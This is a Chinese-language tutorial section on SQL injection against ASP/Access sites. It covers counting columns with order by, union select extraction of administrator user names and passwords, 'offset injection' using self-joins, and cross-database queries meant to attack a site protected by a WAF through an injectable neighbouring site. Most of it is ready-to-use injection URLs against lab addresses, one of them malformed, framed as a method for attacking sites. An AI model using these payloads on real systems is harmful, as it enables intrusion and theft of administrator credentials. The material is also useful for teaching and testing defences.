SQL注入中的高级查询——order by 与union select
在上一节中介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅可以利用在Access数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法。
1.6.1 orderby猜字段数目
首先,利用order by猜解字段数目,查询语句如下。
order by 1
order by 2
...
order by n-1
order by n
如果n-1时返回正常,n时返回错误,那么说明字段数目为n。
1.6.2 union select爆字段内容
得到字段数目后,就可利用union select查询获得字段内容了。
and 1=2 union select1, 2, 3...., n from 表名
执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
and 1=2 union select1, 字段1, 字段2...., n from 表名
在页面中就会返回字段内容,不必一个一个进行猜解了。
1.6.3 union select查询攻击测试
在前面的案例中.己猜解出了表名及字段名,现在来进行高效查询获得字段内容。
首先查询字段数目,提交如下:
http://192.168.0.60.85:92/news_view.asp?id=5order by1 //正常
http://192.168.0.60.85:92/news_view.asp?id=5order by7 //正常
http://192.168.0.60.85:92/news_view.asp?id=5order by8 //错误
说明字段数目为7 ,因此可提交以下字段。
http://192.168.0.60.85:92/news_view.asp?id=14and 1=2union select 1,2,3,4,5,6,7 from administrator (通过联合查询从这7个字段里面去查询administrator表里面那些是可写的数字)
union select查询检测
从页面返回信息中,可看到显示了数字2和3。5和7也行,因此可以将这2个数字替换为字段名,提交如下查询。
http://192.168.0.60.85:92/news_view.asp?id=14and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
在页面返回信息中,立即获得了user_name和password字段的值,比前面的方法快速高效多了。
union select爆出字段值1.6.4 偏移注入
偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补。(注:这种方法运气很重要)
第一步:
http://192.168.1.106:901/news_view.asp?id=5UNION SELECT 1,2,3,4,5,6,7 from
administrator 当我们把把username或password代入2、3查询不到的时候,就可以使用下面方法。
第二步:http://192.168.1.106:901/news_view.asp?id=5UNION SELECT 1,2,3,4,* fromadministrator 分别用*号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 有3个字段)再接着用3*2+1=7来构造第三步注入语句。
第三步:http://192.168.1.106:901/news_view.asp?id=5UNION SELECT 1, a.id,b.id, * from (administrator as a inner joinadministrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个字段,就是上面3*2
第四步: 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是3*3+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=5UNION SELECT1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b ona.id=b.id) inner join administrator as c a.id=c.id)
1.6.5 注入跨库查询
假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。直接用 http://192.168.1.106:901/news_view.asp?id=14
UNION SELECT 1,adminpassword,username,4,5,6,7from
[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
网友评论